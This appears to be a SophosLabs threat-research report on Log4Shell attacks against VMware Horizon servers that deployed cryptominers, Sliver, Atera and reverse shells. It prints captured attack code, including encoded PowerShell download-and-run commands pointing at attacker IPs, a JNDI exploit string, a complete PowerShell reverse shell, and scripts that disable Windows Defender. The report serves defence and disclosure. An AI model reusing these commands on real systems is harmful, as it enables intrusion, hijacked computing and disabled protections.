Horde of miner bots and backdoors leveraged Log4J to attack VMware Horizon servers

In the wake of December 2021 exposure of a remote code execution vulnerability (dubbed “Log4Shell”) in the ubiquitous Log4J Java logging library, we tracked widespread attempts to scan for and exploit the weakness—particularly among cryptocurrency mining bots. The vulnerability affected hundreds of software products, making it difficult for some organizations to assess their exposure.

One of the products affected was VMware Horizon, a desktop and application virtualization platform that became part of the solution for some organizations’ work-from-home needs prior to and during office shutdowns over the past two years.

In late December 2021 and in January 2022, there were multiple reports of active exploitation of the Log4Shell vulnerability in VMware Horizon servers. The attack used the Lightweight Directory Access Protocol resource call of Log4J to retrieve a malicious Java class file that modified existing legitimate Java code, adding a web shell that provided remote access and code execution to the attackers.  SophosLabs has observed these attacks in customer telemetry since the beginning of January.

The attempts to leverage Horizon, which continued and grew in number throughout January, were frequently associated with attempts to deploy cryptocurrency mining malware; others had less clear motives, and may be associated with initial access brokers or ransomware actors. These attacks continue.

The initial attempts on January 10 came from command and control servers at api[.]rogerscorp[.]org (since sink-holed) and 45[.]32.125.79. The next day, the server was changed to 185.112.83.116; this was kept in use for a larger wave of attacks on January 14. Some of these used Cobalt Strike to stage and execute the cryptominer payloads.

The largest wave of Log4J attacks aimed at Horizon that we have detected began January 19, and is still ongoing.  This wave did not rely on Cobalt Strike; instead, the cryptominer installer script is directly executed from the Apache Tomcat component of the Horizon server. The most frequently used server in these campaigns is 80.71.158.96.

Infection process

VMware -> Tomcat -> Cobalt

The earlier attacks followed this pattern. A typical process trace of these attacks shows them starting from the Tomcat service executable, and ending with the execution of the PowerShell script, which executes a standard Cobalt Strike reverse shell:

powershell.exe -exec bypass -enc aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMQAxADIALgA4ADMALgAxADEANgA6ADgAMAA4ADAALwBkAHIAdgAnACkAKQA=

The PowerShell command decodes to:

iex ((New-Object System.Net.WebClient).DownloadString('hxxp://185[.]112.83.116:8080/drv'))

The downloaded file (sha256: 6c7182d945e7e7ae8f7c289c9f4655295408cf14b72bab9686cc8dbebe845f4e) is a  reverse Cobalt Strike shell.

We found the same shell calling back to two different additional URLs on the same server, which were most likely command and control points. In some cases, it called back to 185[.]112.83.116/VyIE.  Other reports show a slightly different exploitation process, resulting in a different URL on the same Cobalt server: 185[.]112.83.116/_/scs/mail-static/_/js.

Log4J -> VMware-Horizon

Other exploit methods bypass use of Cobalt Strike and use Log4Shell to directly target the Tomcat server within Horizon. This attack method left less information in our telemetry, but we observed attacks like this in our honeypot:

GET /:undefined HTTP/1.1" 404 456 "t('${jndi:ldap://209[.]141.51.21:1389/TomcatBypass/Command/Base64/  Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwNS4xODU  uMTI0LjM5L3NlbnNpLnNoOyBjdXJsIC1PIGh0dHA6Ly8yMDUuMTg1LjEyNC4zOS9zZW5zaS5zaDsgY2htb2QgNzc3IHNlbnNpLn  NoOyBzaCBzZW5zaS5zaA==}')" "t('${jndi:ldap://209[.]141.51.21:1389/TomcatBypass/Command/Base64/Y2QgL3Rt  cCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzIwNS4xODUuMTI0LjM5L  3NlbnNpLnNoOyBjdXJsIC1PIGh0dHA6Ly8yMDUuMTg1LjEyNC4zOS9zZW5zaS5zaDsgY2htb2QgNzc3IHNlbnNpLnNoOyBzaCBzZ  W5zaS5zaA==}')"

The base64 string decodes to:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://205[.]185.124.39/sensi.sh; curl -O hxxp://205[.]185.124.39/sensi.sh; chmod 777 sensi.sh; sh sensi.sh

These requests most likely connect to a server running the JNDIExploit tool, aimed at Log4J exploitation.

The Horizon script has an injected web shell code, that will execute the submitted base64 encoded data if the request URL contains a specific string:

Also there are additional PowerShell scripts. These execute PowerShell commands that:

• find the service VMBlastSG (the VM BlastSecure Gateway service);
• locate the installation directory for the service;
• find the file libabsg-worker.js;
• inject the web shell into the file’s code,  and
• finally restart the service.

The web shell is inserted into absg-worker.js right after the code line containing “req.connection.end();”. But there is no check in the script to detect if the web shell is already inserted—and as a consequence, some known samples of compromised services contain multiple instances of the web shell code. The earliest examples of the web shell files and the injector script date back to around December 23, 2021.

The payloads

We found several different payloads being deployed to Horizon hosts targeted by these campaigns. These included the z0Miner, the JavaX miner and at least two XMRig variants, Jin and Mimu cryptocurrency miner bots.

There were also several backdoors—including the Sliver implant, Atera agent and Splashtop Streamer (both legitimate software products being abused),  and several PowerShell-based reverse shells. While z0Miner, JavaX, and some other payloads were downloaded directly by the web shells used for initial compromise, the Jin bots were tied to use of Sliver, and used the same wallets as Mimo—suggesting these three malware were used by the same actor.

Miner trojans

In some cases, our telemetry shows that the infected Horizon hosts have executed a PowerShell downloader script that retrieves content from a Pastebin page.

IEX (New-Object System.Net.Webclient).DownloadString('hxxps://pastebin[.]com/raw/g93wWHkR')

This specific URL has previously been connected to z0Miner in campaigns exploiting an Atlassian  Confluence vulnerability (CVE-2021-26084).

Other reports show another PowerShell command being downloaded by a process directly spawned from Horizon’s Tomcat instance. The retrieved script, hxxp://80[.]71.158.96/xms.ps1, downloads an XMRig Monero miner (identified as XMRig 6.16.2) from the same host (hxxp://80.71.158.96/wxm.exe). It then executes the miner, schedules it as task and creates a registry autorun key:

This miner is associated with a the following wallet ID tied to previous cryptominer campaigns attributed to the 8220 Gang:

46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ

We also discovered a previously unidentified XMRig miner campaign in telemetry. It was dropped using the following PowerShell command executed from the Tomcat service:

((new-object system.net.webclient).downloadFile(‘/mdeploy.txt’, ‘C:UsersPublicmde.ps1’)); C:UsersPublicmde.ps1 “hxxp://182[.]54.217.2/file.zip”; Remove-Item C:UsersPublicmde.ps1;

The file mdeploy.txt is the installer of the miner. It downloads file.zip, which contains the following components:

• cecf0d8f14ff82d55c79143fc359b1d4e645e524  config.json (miner config)
• 5509f5481a73241b039392cbef6dd878a909764a  watcher.exe (persistence)
• d25340ae8e92a6d29f599fef426a2bc1b5217299  WinRing0x64.sys (helper driver)
• b0c95c1236ed9cf7710bea184c99caf74996a2f0  wuaucltservice.exe (xmrig miner)

The installer copies watcher.exe to RuntimeBrokerService.exe, creates a scheduled task that executes the copied executable every day at 12PM, and then starts RuntimeBrokerService.exe. Finally it reports the IP address and the hostname to the public webhook.site service to the unique submit URL:

hxxps://webhook[.]site/429f31a6-7ad5-463e-a799-e8d38bddc253

RuntimeBrokerService.exe is a persistence tool with counter-detection measures: it checks if task manager or ProcessHacker are running and stops them if they are. It then executes the main miner binary, wuaucltservice.exe (XMRig 6.15.2-C3Pool).

The wallet address used by this miner is:

46ohkLSMdhRRZxYH4XG7rDewMwcNCHQ2PVDaBgeszf56LSr9qB1cERX4ZXaP4npkZB1CZPU7T69fe6pd7GWYfpRZPHnAHmM

In another attack, the PowerShell script spawned from the Tomcat process, directly downloads the miner binary from hxxp://167[.]71.197.52:8888/js/xmrig.exe. This server has previously been associated with JavaXMiner. The downloaded miner from the JavaXMiner server is another XMRig Monero miner variant. We were able to retrieve the config.json file for the miner setup from the server, which contained this wallet ID:

48zfBUeSCupa7hxjWxxGcABqYKAEpM8fCLhhJ34toDHKLQXdxfSPonCDcTFtTQTXxTUCkkCAS28dUSz83H8U6bdr6Hh2Q2d

Mimo miner bot

We also saw this PowerShell command decoded and executed on some infected systems:

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat';   $wc.DownloadFile('hxxp://72[.]46.52.135/mad_micky.bat', $tempfile); & $tempfile

The file mad_micky.bat, when executed, downloads hxxp://141[.]85.161.18/xmrig.zip. We also found a variant that downloads

hxxp://72[.]46.52.135/mad.bat, which in turn downloads an installs a similar install archive from a compromised WordPress site (hxxp://lurchmath[.]org/wordpress-temp/wp-content/plugins/xmrig.zip).

A code fragment from the batch file shows the miner setup:

rem command line arguments  set WALLET=43DTEF92be6XcPj5Z7U96g4oGeebUxkFq9wyHcNTe1otM2hUrfvdswGdLHxabCSTio7apowzJJVwBZw6vVTu7NoNCNAMoZ4  rem this one is optional  set EMAIL=%2  rem checking prerequisites  if [%WALLET%] == [] (  echo Script usage:  echo ^> setup_mimu_miner.bat ^<wallet address^> [^<your email address^>]  echo ERROR: Please specify your wallet address  exit /b 1  )

The downloaded miner is again an XMRig Monero miner. All of the samples we saw used the wallet ID shown in the clip above.  The file naming suggests this is a variant of the Mimu miner botnet (which we previously reported on in a ransomware response case). Linux shell scripts harvested from the download server show similarity to Mimu scripts found by Tencent.

In a separate incident, we found a different server used to deploy PowerShell scripts, batch scripts and Mimo miner bot executables. Telemetry showed the following commands being sent to the command line during the setup, downloading additional elements and loading the miner:

powershell  -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('hxxp://51[.]222.121.180:82/7za.txt', 'C:\Windows\system32\config\systemprofile\7za.exe')  powershell  -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Windows\system32\config\systemprofile\cc.zip', 'C:\Windows\system32\config\systemprofile\cj')]  powershell.exe  -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB0AGUAbQBwAGYAaQBsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABGAGkAbABlAE4AYQBtAGUAKAApADsAIAAkAHQAZQBtAHAAZgBpAGwAZQAgACsAPQAgACcALgBiAGEAdAAnADsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADUAMQAuADIAMgAyAC4AMQAyADEALgAxADgAMAA6ADgAMgAvAGsAaQBsAGwALgBiAGEAdAAnACwAIAAkAHQAZQBtAHAAZgBpAGwAZQApADsAIAAmACAAJAB0AGUAbQBwAGYAaQBsAGUA

The encoded portion of this command decodes to:

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://51[.]222.121.180:82/kill.bat', $tempfile); & $tempfile

The kill.bat file disables Windows Defender realtime monitoring, disables several services and checks for the presence of a running Mimu instance:

@echo off  powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"  taskkill /IM network02.exe /f  taskkill /IM logback.exe /f  taskkill /IM ws_TomcatService.exe /f  del c:windowstemplogback.exe  del c:windowstempnetwork02.exe  IF EXIST "%USERPROFILE%mimu6" (  GOTO exist1  ) else (  goto add_it  :exist1  tasklist /fi "imagename eq xmrig.exe"  find ":" >NUL  if not %errorlevel% == 0 (  echo now is running  exit /b 1  :add_it  echo form exist1  powershell (new-object System.Net.WebClient).DownloadFile('hxxp://51[.]222.121.180:82/power.txt','%userprofile%power.exe')  %userprofile%power.exe

Additionally, there are two more PowerShell commands that download another installation batch file and .ZIP archive, and attempt to launch a different version of XMRig:

powershell  -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('hxxp://51[.]222.121.180:82/cc.bat', $tempfile); & $tempfile    powershell  -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('hxxp://51[.]222.121.180:82/cc.zip', 'C:\Windows\system32\config\systemprofile\cc.zip')    

The cc.zip file contains the MoneroOcean advanced version of XMRig. This uses the same wallet version as the version installed by the mad.bat script. The XMRig executable is then launched:

C:Windowssystem32configsystemprofilecjxmrigdaemon.exe

Jin miner

Another miner bot we discovered referred to itself as “Jin.” While its naming scheme was different, it appears to be a variant of the Mimo miner bot, and in fact it used the same wallet ID as the Mimo bots we observed exploiting Horizon. It also used installation files  (including mad.bat) that were virtually identical, with only minor changes.  It even used the same wallet address as the Mimo miners, which leads us to believe this is simply a rebranded version of Mimo.

One major difference is that we could find no information on the source of the commands executed to begin installing it. We believe based on other evidence that this is because the miner was installed using the Sliver implant (described later in this report).

On some of the infected hosts, the following PowerShell command is executed to download a file named add.bat:

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat';   $wc.DownloadFile('hxxp://150[.]129.234.203:82/add.bat', $tempfile); & $tempfile

In other cases a different server was used (hxxp://iosk.org/pms/add.bat).

Add.bat, much like kill.bat in the Mimo sample, kills several services, mostly miner related ones. But it also kills the Tomcat service—likely to stop other miners from using that infection vector:

taskkill /IM logback.exe /f  taskkill /IM network02.exe /f  taskkill /IM ws_TomcatService.exe  sc stop c3pool_miner  sc delete c3pool_miner  taskkill /IM explorer.exe /f  sc stop moneroocean_miner  sc delete moneroocean_miner

Then it stops Windows Defender’s realtime protection, and downloads the next component, mad.bat:

powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat';  $wc.DownloadFile('http://150.129.234.203:82/mad.bat', $tempfile); & $tempfile ; Remove-Item -Force $tempfile"

This script downloads the main miner archive jin.zip from the same site. The content of the archive is the following:

•  config.json —the miner configuration file
• jin.exe—the XMRig miner itself (XMRig 6.16.2-mo2)
•  jsm.exe—Non-Sucking Service Manager (http://nssm.cc), used by mad.bat to start the miner service.
• WinRing0x64.sys – a helper driver.

Interestingly the miner config file is a skeleton, does not contain a wallet ID, but only a placeholder:

"url": "gulf.moneroocean.stream:10128",  "user": "YOUR_WALLET_ADDRESS",  "pass": "x",

As with the first Mimo sample above, mad.bat that fills in the wallet ID, and starts the miner:

Backdoors

In addition to miners, we found a variety of backdoors dropped using the Log4Shell exploit. Some of them were PowerShell reverse shells.

We found two types of reverse shell. The first is a shorter script the opens a socket connection to a remote server and executes the received buffer, which is supposed to be a PowerShell command, as in this sample:

while ($true){$TCPClient = .('New-Object') Net.Sockets.TCPClient('137[.]184.17.252', 412);  $NetworkStream = $TCPClient.GetStream();$StreamWriter = &('New-Object') IO.StreamWriter($NetworkStream);  function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | .('%') {0};  $StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}&('WriteToStream') '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {.('Invoke-Expression') $Command 2>&1 | &('Out-String')} catch {$_ | &('Out-String')}.('WriteToStream') ($Output)}$StreamWriter.Close();Start-Sleep -Seconds 3;Clear-DnsClientCache}

The second is a larger variant, that is capable of reflectively loading a Windows binary, containing the loader as an encrypted and base64 encoded blob:

There was a case where the same URL (87.121.52.221/dd.ps1, according to ) was hosting both variants at separate times, so it is safe to assume that these were used by the same actor.

There is no conclusive proof to the endgame of the actors behind these reverse shells. We have seen a customer where both one of these reverse shells were found along with Mimu miner, but that could also be a result of multiple infection by two different threat actors. We have reason to believe they may have been dropped by initial access brokers.

We also found some cases where more off-the-shelf backdoors were used to establish a persistent presence on the targeted servers, starting with the Sliver implant. Sliver is an “offensive security” tool intended for use by red teams and penetration testers to emulate the tactics of adversaries; in this case, the tool was used by malicious actors.

We found two servers delivering Sliver implants. Two samples of PowerShell commands in our telemetry executed from the Tomcat service, both from the same server:

(New-Object System.Net.WebClient).DownloadFile('hxxp://193[.]27.228.127/ugly.exe', 'C:Windowsccalc.exe');Start-Process -Filepath 'C:Windowsccalc.exe',,/pre>

(new-object system.net.webclient).downloadfile('hxxp://193[.]27.228.127/PRIMARY_FLUTE.exe','C:Windowswxmhost.exe');Start-Process -FilePath 'C:Windowswxmhost.exe'

Both download Sliver implants, and both connected back to the same server they were downloaded from (193[.]27.228.127:8888).

In all of the cases where Sliver was detected in customer telemetry that we were able to further investigate, the Sliver infection was followed by an infection of Jin miner, so we suspect that it is the delivered payload. However, it might also be possible that the actor behind the use of Sliver is a ransomware gang—as the same servers deploying Sliver also hosted files for the Atera agent to deploy as a payload.

Atera agent

Atera is a legitimate, frequently-used remote monitoring and management tool. The criminals are not attacking existing Atera installations; rather, they install their own Atera agents in order to use the Atera cloud management infrastructure to deploy additional payloads in the future.

The infection chain here is similar to other Horizon exploits—Tomcat is leveraged to launch a PowerShell command, and then the PowerShell reaches out to a customer portal at atera.com. This could be for tracking the infections and maintaining remote access to the infected computers during exploit; we have not seen this done before.

The agents were installed using a downloaded, legitimate Microsoft installer file (setup.msi), executed by exploiting Windows’ certutil.exe utility:

C:\Windows\system32\certutil.exe" -urlcache -split -f hxxp://193[.]27.228.127/setup.msi setup.msi

Apart from the occasional UAC prompt, the Atera MSI is a silent, non-interactive install.

The following log.txt file is created, supposedly with contact info:

/i /IntegratorLogin=kurupatkakurupatka@yandex.ru /CompanyId=1 /IntegratorLoginUI= /CompanyIdUI= /FolderId= /AccountId=0013z00002lheI7AAI2/22/2022 8:30:06 AM Trace Starting

Also, probably as an automated task for the new clients, the Splashtop Streamer remote access tool is downloaded and installed on the infected systems.

2/23/2022 5:38:23 AM Downloading installation to: C:WindowsTEMPSplashtopStreamer3360.exe

The installer is:

File name: SplashtopStreamer3360.exe

MD5 4fbfb5f451ffb980f7e702f94c762743

SHA-1     a58975a53d82bb6cf6afa6d6bda8bcc878b46447

SHA-256   dd87b6bab32159ff8384f263961078d1dad04019e268236a885faa39edf8ef89

The only other case that we identified using this version of Atera agent and an installation of  Splashtop Streamer resulted in the deployment of Quantum Locker ransomware.

Fingerprinting

We have seen exploitation where a small fingerprinting PowerShell script is executed. This submits the domain name to the C2 server, and if any product names that contain “veeam” are found. The PowerShell script’s decoded command is:

Add-Type -AssemblyName System.Web;$v = 'False';$d = Get-WMIObject Win32_ComputerSystem| Select-Object -ExpandProperty Domain;$d = [System.Web.HttpUtility]::UrlEncode($d);get-wmiobject -class Win32_Product | ForEach-Object { if($_.Name.ToLower().Contains('veeam')) { $v = 'True'} };(new-object system.net.webclient).downloadstring("hxxp://176[.]113.115.107/license.php?d=

This results in HTTP requests like this:

hxxp://176.113.115.107/license.php?d={redacted}&v=false

Veeam software is associated with backup and replication, and is often targeted for shutdown by ransomware actors.

A long term concern

Attempts to compromise Horizon servers are among the more targeted exploits of Log4Shell vulnerabilities because of their nature. VMware has pushed out patched versions of Horizon as of March 8 2022, but many organizations may still not have deployed the fixed versions or applied workarounds to vulnerable ones. Even if they have, as demonstrated by the backdoors and reverse shell activity we found, those systems may already be compromised in other ways.

Organizations should thoroughly research their exposure to potential Log4J vulnerabilities, as they may impact commercial, open-source and custom software that in some cases may not have regular security support. But platforms such as Horizon are particularly attractive targets to all types of malicious actors because they are widespread and can (if still vulnerable) easily found and exploited with well-tested tools.

But organizations should also ensure that they have defense in depth in place to detect and block malicious activity of all types on servers as well as clients. Even after patches are applied, a full assessment of previously vulnerable systems for other potential malware or compromise—including off-the-shelf and commercial software of questionable origin.

(Sophos detects the Windows miners listed in this article, as well as the behaviors related to the scripts used as droppers and backdoors.)

A full list of indicators of compromise for the Horizon-related malware attacks we have investigated is available on SophosLabs’ GitHub page.